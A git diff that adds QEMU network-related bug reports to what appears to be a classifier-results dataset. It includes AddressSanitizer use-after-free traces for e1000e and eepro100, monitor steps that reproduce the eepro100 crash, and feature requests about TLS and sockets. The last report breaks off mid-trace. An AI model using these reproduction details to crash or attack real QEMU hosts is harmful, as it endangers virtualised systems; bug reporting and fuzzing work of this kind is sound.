/home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #241 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #242 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #243 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #244 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #245 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #246 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #247 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #248 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #249 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + +0x61900006cc88 is located 8 bytes inside of 1056-byte region [0x61900006cc80,0x61900006d0a0) +freed by thread T0 here: + #0 0x5556126ce1bd in free (/home/alxndr/Development/qemu/general-fuzz/build/qemu-system-i386+0x2d291bd) + #1 0x555613e2af31 in net_rx_pkt_iovec_realloc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_rx_pkt.c:80:9 + #2 0x555613e18eaa in net_rx_pkt_pull_data /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_rx_pkt.c:103:9 + #3 0x555613e1b5cd in net_rx_pkt_attach_iovec_ex /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_rx_pkt.c:158:5 + #4 0x55561338da6e in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1695:5 + #5 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #6 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #7 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #8 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #9 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #10 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #11 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #12 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #13 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #14 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #15 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #16 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #17 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #18 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #19 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #20 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #21 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #22 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #23 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #24 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #25 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #26 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #27 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #28 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #29 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + +previously allocated by thread T0 here: + #0 0x5556126ce43d in malloc (/home/alxndr/Development/qemu/general-fuzz/build/qemu-system-i386+0x2d2943d) + #1 0x7fc45f5171b8 in g_malloc (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x561b8) + #2 0x555613e18eaa in net_rx_pkt_pull_data /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_rx_pkt.c:103:9 + #3 0x555613e1b5cd in net_rx_pkt_attach_iovec_ex /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_rx_pkt.c:158:5 + #4 0x55561338da6e in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1695:5 + #5 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #6 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #7 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #8 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #9 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #10 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #11 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #12 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #13 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #14 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #15 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #16 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #17 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #18 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #19 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #20 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #21 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #22 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #23 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #24 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #25 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #26 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #27 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #28 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #29 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + +SUMMARY: AddressSanitizer: heap-use-after-free /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1587:41 in e1000e_write_packet_to_guest +Shadow bytes around the buggy address: + 0x0c3280005940: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c3280005950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c3280005960: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c3280005970: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa + 0x0c3280005980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa +=>0x0c3280005990: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c32800059a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c32800059b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c32800059c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c32800059d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd + 0x0c32800059e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd +Shadow byte legend (one shadow byte represents 8 application bytes): + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb + Shadow gap: cc +==935641==ABORTING + +-Alex \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1894781 b/results/classifier/gemma3:12b/network/1894781 new file mode 100644 index 000000000..c90bd666b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1894781 @@ -0,0 +1,20 @@ + +[Feature request] Provide a way to do TLS first in QEMU/NBD connections (not after NBD negotiation) + +(following from https://gitlab.com/libvirt/libvirt/-/issues/68#note_400960567) + +As is very well explained in https://www.berrange.com/posts/2016/04/05/improving-qemu-security-part-5-tls-support-for-nbd-server-client/, and easily confirmed with captures, NBD stream starts in cleartext and upgrades to TLS inline (similar to STARTTLS mechanism). As a rationale, it is stated that this provides better error messages for the user of NBD. + +However, this approach has downsides: + +1) Clear indication to a network observer that NBD (and therefore likely qemu/libvirt) is used. In contrast, TLS1.3 hides even the SNI of the servers (ESNI, https://blog.cloudflare.com/encrypted-sni/). +2) Potential for bugs in NBD protocol negotiation code. That code just statistically, likely less looked at code than gnutls. This is not a reflection on NBD code quality, just the fact that TLS code does receive a bit more scrutiny. +3) Inability to inspect TLS listener interface for compliance, e.g. with a security scanner. Making sure TLS listeners only select certain ciphersuits is a requirement of some compliance regimes. + +I think it's fully possible to satisfy the original requirement of good error messages as well, detecting that the other end is initiating TLS connection. + +It's very unlikely that it's currently sae to recommend to run QEMU migration stream over a hostile network, but it should be possible to do with TLS only option. + +Solution to this, just like in the case of SMTP, is to provide TLS only option (no initial cleartext at all) for QEMU migration, which hopefully it not a large addition. + +Thank you for your consideration! \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/190 b/results/classifier/gemma3:12b/network/190 new file mode 100644 index 000000000..74d4177df --- /dev/null +++ b/results/classifier/gemma3:12b/network/190 @@ -0,0 +1,2 @@ + +'set_link net0 off' not working with e1000e driver diff --git a/results/classifier/gemma3:12b/network/1902470 b/results/classifier/gemma3:12b/network/1902470 new file mode 100644 index 000000000..b56eb02e1 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1902470 @@ -0,0 +1,99 @@ + +migration with TLS-MultiFD is stuck when the dst-libvirtd service restarts + +hi, + +I found that the multi-channel TLS-handshake will be stuck when the dst-libvirtd restarts, both the src and dst sockets are blocked in recvmsg. In the meantime, live_migration thread is blocked in multifd_send_sync_main, so +migration cannot be cancelled though src-libvirt has delivered the QMP command. + +Is there any way to exit migration when the multi-channel TLS-handshake is stuck? Does setting TLS handshake timeout function take effect? + +The stack trace are as follows: + +=====src qemu-system-aar stack=====: +#0 0x0000ffff87d6f28c in recvmsg () from target:/usr/lib64/libpthread.so.0 +#1 0x0000aaaae3817424 in qio_channel_socket_readv (ioc=0xaaaae9e30a30, iov=0xffffdb58e8a8, niov=1, fds=0x0, nfds=0x0, errp=0x0) at ../io/channel-socket.c:502 +#2 0x0000aaaae380f468 in qio_channel_readv_full (ioc=0xaaaae9e30a30, iov=0xffffdb58e8a8, niov=1, fds=0x0, nfds=0x0, errp=0x0) at ../io/channel.c:66 +#3 0x0000aaaae380f9e8 in qio_channel_read (ioc=0xaaaae9e30a30, buf=0xaaaaea204e9b "\026\003\001\001L\001", buflen=5, errp=0x0) at ../io/channel.c:217 +#4 0x0000aaaae380e7d4 in qio_channel_tls_read_handler (buf=0xaaaaea204e9b "\026\003\001\001L\001", len=5, opaque=0xfffd38001190) at ../io/channel-tls.c:53 +#5 0x0000aaaae3801114 in qcrypto_tls_session_pull (opaque=0xaaaae99d5700, buf=0xaaaaea204e9b, len=5) at ../crypto/tlssession.c:89 +#6 0x0000ffff8822ed30 in _gnutls_stream_read (ms=0xffffdb58eaac, pull_func=0xfffd38001870, size=5, bufel=<synthetic pointer>, session=0xaaaae983cd60) at buffers.c:346 +#7 _gnutls_read (ms=0xffffdb58eaac, pull_func=0xfffd38001870, size=5, bufel=<synthetic pointer>, session=0xaaaae983cd60) at buffers.c:426 +#8 _gnutls_io_read_buffered (session=session@entry=0xaaaae983cd60, total=5, recv_type=recv_type@entry=4294967295, ms=0xffffdb58eaac) at buffers.c:581 +#9 0x0000ffff88224954 in recv_headers (ms=<optimized out>, record=0xffff883cd000 <email address hidden>, htype=65535, type=2284006288, + record_params=0xaaaae9e22a60, session=0xaaaae983cd60) at record.c:1163 +#10 _gnutls_recv_in_buffers (session=session@entry=0xaaaae983cd60, type=2284006288, type@entry=GNUTLS_HANDSHAKE, htype=65535, htype@entry=GNUTLS_HANDSHAKE_HELLO_RETRY_REQUEST, + ms=<optimized out>, ms@entry=0) at record.c:1302 +#11 0x0000ffff88230568 in _gnutls_handshake_io_recv_int (session=session@entry=0xaaaae983cd60, htype=htype@entry=GNUTLS_HANDSHAKE_HELLO_RETRY_REQUEST, hsk=hsk@entry=0xffffdb58ec38, + optional=optional@entry=1) at buffers.c:1445 +#12 0x0000ffff88232b90 in _gnutls_recv_handshake (session=session@entry=0xaaaae983cd60, type=type@entry=GNUTLS_HANDSHAKE_HELLO_RETRY_REQUEST, optional=optional@entry=1, + buf=buf@entry=0x0) at handshake.c:1534 +#13 0x0000ffff88235b40 in handshake_client (session=session@entry=0xaaaae983cd60) at handshake.c:2925 +#14 0x0000ffff88237824 in gnutls_handshake (session=0xaaaae983cd60) at handshake.c:2739 +#15 0x0000aaaae380213c in qcrypto_tls_session_handshake (session=0xaaaae99d5700, errp=0xffffdb58ee58) at ../crypto/tlssession.c:493 +#16 0x0000aaaae380ea40 in qio_channel_tls_handshake_task (ioc=0xfffd38001190, task=0xaaaaea61d4e0, context=0x0) at ../io/channel-tls.c:161 +#17 0x0000aaaae380ec60 in qio_channel_tls_handshake (ioc=0xfffd38001190, func=0xaaaae3394d20 <multifd_tls_outgoing_handshake>, opaque=0xaaaaea189c30, destroy=0x0, context=0x0) + at ../io/channel-tls.c:239 +#18 0x0000aaaae3394e78 in multifd_tls_channel_connect (p=0xaaaaea189c30, ioc=0xaaaae9e30a30, errp=0xffffdb58ef28) at ../migration/multifd.c:782 +#19 0x0000aaaae3394f30 in multifd_channel_connect (p=0xaaaaea189c30, ioc=0xaaaae9e30a30, error=0x0) at ../migration/multifd.c:804 +#20 0x0000aaaae33950b8 in multifd_new_send_channel_async (task=0xaaaaea6855a0, opaque=0xaaaaea189c30) at ../migration/multifd.c:858 +#21 0x0000aaaae3810cf8 in qio_task_complete (task=0xaaaaea6855a0) at ../io/task.c:197 +#22 0x0000aaaae381096c in qio_task_thread_result (opaque=0xaaaaea6855a0) at ../io/task.c:112 +#23 0x0000ffff88701df8 in ?? () from target:/usr/lib64/libglib-2.0.so.0 +#24 0x0000ffff88705a7c in g_main_context_dispatch () from target:/usr/lib64/libglib-2.0.so.0 +#25 0x0000aaaae3a5a29c in glib_pollfds_poll () at ../util/main-loop.c:221 +#26 0x0000aaaae3a5a324 in os_host_main_loop_wait (timeout=0) at ../util/main-loop.c:244 +#27 0x0000aaaae3a5a444 in main_loop_wait (nonblocking=0) at ../util/main-loop.c:520 +#28 0x0000aaaae3696b20 in qemu_main_loop () at ../softmmu/vl.c:1677 +#29 0x0000aaaae30949e4 in main (argc=81, argv=0xffffdb58f2c8, envp=0xffffdb58f558) at ../softmmu/main.c:50 + +=====src live_migration stack=====: +#0 0x0000ffff87d6a5d8 in pthread_cond_wait () from target:/usr/lib64/libpthread.so.0 +#1 0x0000aaaae3a5f3ec in qemu_sem_wait (sem=0xaaaaea189d40) at ../util/qemu-thread-posix.c:328 +#2 0x0000aaaae3394838 in multifd_send_sync_main (f=0xaaaae983f0e0) at ../migration/multifd.c:638 +#3 0x0000aaaae37de310 in ram_save_setup (f=0xaaaae983f0e0, opaque=0xaaaae4198708 <ram_state>) at ../migration/ram.c:2588 +#4 0x0000aaaae31cf7ac in qemu_savevm_state_setup (f=0xaaaae983f0e0) at ../migration/savevm.c:1176 +#5 0x0000aaaae3248360 in migration_thread (opaque=0xaaaae9829f20) at ../migration/migration.c:3521 +#6 0x0000aaaae3a5f8fc in qemu_thread_start (args=0xaaaaea513ee0) at ../util/qemu-thread-posix.c:521 +#7 0x0000ffff87d647ac in ?? () from target:/usr/lib64/libpthread.so.0 +#8 0x0000ffff87cba6ec in ?? () from target:/usr/lib64/libc.so.6 + +=====dst qemu-system-aar stack=====: +#0 0x0000ffff7f17d28c in recvmsg () from target:/usr/lib64/libpthread.so.0 +#1 0x0000aaaae263a424 in qio_channel_socket_readv (ioc=0xaaaaf998a800, iov=0xfffff5d22f78, niov=1, fds=0x0, nfds=0x0, errp=0x0) at ../io/channel-socket.c:502 +#2 0x0000aaaae2632468 in qio_channel_readv_full (ioc=0xaaaaf998a800, iov=0xfffff5d22f78, niov=1, fds=0x0, nfds=0x0, errp=0x0) at ../io/channel.c:66 +#3 0x0000aaaae26329e8 in qio_channel_read (ioc=0xaaaaf998a800, + buf=0xaaaafa926dbb "q\024\335\365ȣ'\221,\\\357\246w\253\242ѠصI\247(N(K=\256\316DH\227QNf\371\"\271\017\226^\223\026\373\245z\255\227\025R.\244\205\254\002\031T\033\312:h\226\aݔ\204Ԫ\324\351K\341\365\247\032\354+\277\005O'*l\301cXx\340~?\346\b\324k\225\223D\276\252\376\257_0\036\223\022\006\212D|7h\257\226\300&n','\005zL\203M͆\023\213\237(o\272\025_\305s\372\362\351\002\367Ph\016\347\371E\n\030Y\340\002\r\362^&`\021\203}\353\324A\340ҳ(\207]\300l}h\026\037H\372\n=\"C\024\t\200\325\334&=\333>\212ƏE\214]_\372\264]"..., buflen=5, errp=0x0) + at ../io/channel.c:217 +#4 0x0000aaaae26317d4 in qio_channel_tls_read_handler ( + buf=0xaaaafa926dbb "q\024\335\365ȣ'\221,\\\357\246w\253\242ѠصI\247(N(K=\256\316DH\227QNf\371\"\271\017\226^\223\026\373\245z\255\227\025R.\244\205\254\002\031T\033\312:h\226\aݔ\204Ԫ\324\351K\341\365\247\032\354+\277\005O'*l\301cXx\340~?\346\b\324k\225\223D\276\252\376\257_0\036\223\022\006\212D|7h\257\226\300&n','\005zL\203M͆\023\213\237(o\272\025_\305s\372\362\351\002\367Ph\016\347\371E\n\030Y\340\002\r\362^&`\021\203}\353\324A\340ҳ(\207]\300l}h\026\037H\372\n=\"C\024\t\200\325\334&=\333>\212ƏE\214]_\372\264]"..., len=5, + opaque=0xaaaaf9c4c400) at ../io/channel-tls.c:53 +#5 0x0000aaaae2624114 in qcrypto_tls_session_pull (opaque=0xaaaafa4a3d90, buf=0xaaaafa926dbb, len=5) at ../crypto/tlssession.c:89 +#6 0x0000ffff7f63cd30 in _gnutls_stream_read (ms=0xfffff5d2317c, pull_func=0xaaaafa81a380, size=5, bufel=<synthetic pointer>, session=0xaaaafa58b9d0) at buffers.c:346 +#7 _gnutls_read (ms=0xfffff5d2317c, pull_func=0xaaaafa81a380, size=5, bufel=<synthetic pointer>, session=0xaaaafa58b9d0) at buffers.c:426 +#8 _gnutls_io_read_buffered (session=session@entry=0xaaaafa58b9d0, total=5, recv_type=recv_type@entry=4294967295, ms=0xfffff5d2317c) at buffers.c:581 +#9 0x0000ffff7f632954 in recv_headers (ms=<optimized out>, record=0x1ee2a9fa78, htype=65535, type=2137262992, record_params=0xaaaafa4b71a0, session=0xaaaafa58b9d0) at record.c:1163 +#10 _gnutls_recv_in_buffers (session=session@entry=0xaaaafa58b9d0, type=2137262992, type@entry=GNUTLS_HANDSHAKE, htype=65535, htype@entry=GNUTLS_HANDSHAKE_CLIENT_HELLO, + ms=<optimized out>, ms@entry=0) at record.c:1302 +#11 0x0000ffff7f63e568 in _gnutls_handshake_io_recv_int (session=session@entry=0xaaaafa58b9d0, htype=htype@entry=GNUTLS_HANDSHAKE_CLIENT_HELLO, hsk=hsk@entry=0xfffff5d23308, + optional=optional@entry=0) at buffers.c:1445 +#12 0x0000ffff7f640b90 in _gnutls_recv_handshake (session=session@entry=0xaaaafa58b9d0, type=type@entry=GNUTLS_HANDSHAKE_CLIENT_HELLO, optional=optional@entry=0, buf=buf@entry=0x0) + at handshake.c:1534 +#13 0x0000ffff7f645f18 in handshake_server (session=<optimized out>) at handshake.c:3351 +#14 gnutls_handshake (session=0xaaaafa58b9d0) at handshake.c:2742 +#15 0x0000aaaae262513c in qcrypto_tls_session_handshake (session=0xaaaafa4a3d90, errp=0xfffff5d23478) at ../crypto/tlssession.c:493 +#16 0x0000aaaae2631a40 in qio_channel_tls_handshake_task (ioc=0xaaaaf9c4c400, task=0xaaaafa70e600, context=0x0) at ../io/channel-tls.c:161 +#17 0x0000aaaae2631c60 in qio_channel_tls_handshake (ioc=0xaaaaf9c4c400, func=0xaaaae20d4b58 <migration_tls_incoming_handshake>, opaque=0x0, destroy=0x0, context=0x0) + at ../io/channel-tls.c:239 +#18 0x0000aaaae20d4ca8 in migration_tls_channel_process_incoming (s=0xaaaaf9b2ef20, ioc=0xaaaaf998a800, errp=0xfffff5d23548) at ../migration/tls.c:103 +#19 0x0000aaaae20f9f7c in migration_channel_process_incoming (ioc=0xaaaaf998a800) at ../migration/channel.c:42 +#20 0x0000aaaae1f484a8 in socket_accept_incoming_migration (listener=0xffff64007a40, cioc=0xaaaaf998a800, opaque=0x0) at ../migration/socket.c:130 +#21 0x0000aaaae2638570 in qio_net_listener_channel_func (ioc=0xaaaafa410600, condition=G_IO_IN, opaque=0xffff64007a40) at ../io/net-listener.c:54 +#22 0x0000aaaae263ac4c in qio_channel_fd_source_dispatch (source=0xaaaafa81a380, callback=0xaaaae26384f8 <qio_net_listener_channel_func>, user_data=0xffff64007a40) + at ../io/channel-watch.c:84 +#23 0x0000ffff7fb13a7c in g_main_context_dispatch () from target:/usr/lib64/libglib-2.0.so.0 +#24 0x0000aaaae287d29c in glib_pollfds_poll () at ../util/main-loop.c:221 +#25 0x0000aaaae287d324 in os_host_main_loop_wait (timeout=571000000) at ../util/main-loop.c:244 +#26 0x0000aaaae287d444 in main_loop_wait (nonblocking=0) at ../util/main-loop.c:520 +#27 0x0000aaaae24b9b20 in qemu_main_loop () at ../softmmu/vl.c:1677 +#28 0x0000aaaae1eb79e4 in main (argc=83, argv=0xfffff5d238c8, envp=0xfffff5d23b68) at ../softmmu/main.c:50 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1903470 b/results/classifier/gemma3:12b/network/1903470 new file mode 100644 index 000000000..7462c8dbc --- /dev/null +++ b/results/classifier/gemma3:12b/network/1903470 @@ -0,0 +1,10 @@ + +qemu 5.1.0: Add UNIX socket support for netdev socket + +qemu has a way to connect instances using a socket: + +-netdev socket,id=str[,fd=h][,listen=[host]:port][,connect=host:port] + +This can also be used to connect a qemu instance to something else using a socket connection, however there is no authentication or security to the connection, so rather than using a port which can be accessed by any user on the machine, having the ability to use or connect to UNIX sockets would be helpful, and adding this option should be fairly trivial. + +UNIX sockets can be found in various parts of qemu (monitor, etc) so I believe having this on network would make sense. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1903493 b/results/classifier/gemma3:12b/network/1903493 new file mode 100644 index 000000000..43bb1216b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1903493 @@ -0,0 +1,4 @@ + +About wireless network card bridging + +As a rookie, I don’t know if I should ask this question here. If it’s not right, I hope people who see it can help submit it to the right place. Qemu-kvm can add wireless network card bridging, after all, now you see that vbox and vmware can directly choose wireless network card bridging, and even hyper-v can be easily set up, arp proxy is too difficult for us rookies . I hope that qemu or other links can add a function to bridge the wireless network card, which can be directly set in virt-manager (for so many years, it seems that I can only use bridge-utils to bridge the Ethernet) \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1904 b/results/classifier/gemma3:12b/network/1904 new file mode 100644 index 000000000..6383b8242 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1904 @@ -0,0 +1,17 @@ + +Windows LTO build fails +Description of problem: +LTO likes to delete `win32_close_exception_handler` which causes an error when linking +``` +[2736/5786] Linking target qemu-system-avr.exe +FAILED: qemu-system-avr.exe +"cc" "-m64" "-mcx16" @qemu-system-avr.exe.rsp +`win32_close_exception_handler' referenced in section `.xdata' of C:\msys64\tmp\cceRwR4N.ltrans59.ltrans.o: defined in discarded section `.text' of libqemuutil.a.p/util_oslib-win32.c.obj (symbol from plugin) +collect2.exe: error: ld returned 1 exit status +``` +Steps to reproduce: +1. `./configure --enable-lto` +2. `make` +Additional information: +Looks like the offending commit is d89f30b4df13dfe389a4d6cf8a30b2f87c4c166e "win32: wrap socket close() with an exception handler". +Undoing the commit or marking the exception handler as `__attribute__ ((noinline, used))` both appear to fix the issue. diff --git a/results/classifier/gemma3:12b/network/1904486 b/results/classifier/gemma3:12b/network/1904486 new file mode 100644 index 000000000..f0be5819b --- /dev/null +++ b/results/classifier/gemma3:12b/network/1904486 @@ -0,0 +1,32 @@ + +resource leak in /net/tap.c + +Hi,there might be a resource leak in function net_init_tap in /net/tap.c. + + 811 fd = monitor_fd_param(monitor_cur(), tap->fd, errp); + 812 if (fd == -1) { + 813 return -1; + 814 } + 815 + 816 ret = qemu_try_set_nonblock(fd); + 817 if (ret < 0) { + 818 error_setg_errno(errp, -ret, "%s: Can't use file descriptor %d", + 819 name, fd); + 820 return -1; + 821 } + 822 + 823 vnet_hdr = tap_probe_vnet_hdr(fd, errp); + 824 if (vnet_hdr < 0) { + 825 close(fd); + 826 return -1; + 827 } + 828 + 829 net_init_tap_one(tap, peer, "tap", name, NULL, + 830 script, downscript, + 831 vhostfdname, vnet_hdr, fd, &err); + 832 if (err) { + 833 error_propagate(errp, err); + 834 return -1; + 835 } + +fd should be closed before return in line 820 and line 834, similar to the implementation in line 825. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1904954 b/results/classifier/gemma3:12b/network/1904954 new file mode 100644 index 000000000..b9ed412b8 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1904954 @@ -0,0 +1,14 @@ + +lan9118 bug peeked received message size not equal to actual received message size + +peeked message is not equal to read message + + +Bug in the code at line: +https://github.com/qemu/qemu/blob/master/hw/net/lan9118.c#L1209 + +s->tx_status_fifo_head should be s->rx_status_fifo_head + +Thanks, + +Alfred \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1908369 b/results/classifier/gemma3:12b/network/1908369 new file mode 100644 index 000000000..a2fa4f29e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1908369 @@ -0,0 +1,116 @@ + +deleted + +Hello, + +An heap-use-after-free issue was found in hw/net/eepro100.c:616 in latest version 5.2.0. + +This issue was found when I was debugging Qemu in monitor. When I attach An eepro100 NIC, and reload the snapshot, the use-after-free triggers. + +Qemu boot command is as follows: +./qemu-5.2.0-rc4/build/qemu-system-x86_64 -enable-kvm -boot c -m 2G -drive format=qcow2,file=./ubuntu.img -display none -monitor stdio +(qemu) device_add i82559a,id=eepro +(qemu) device_del eepro +(qemu) savevm tag0 +(qemu) loadvm tag0 + + +Backtrace is as follows: +================================================================= +==32048==ERROR: AddressSanitizer: heap-use-after-free on address 0x6280000449f0 at pc 0x7f751f5eed1a bp 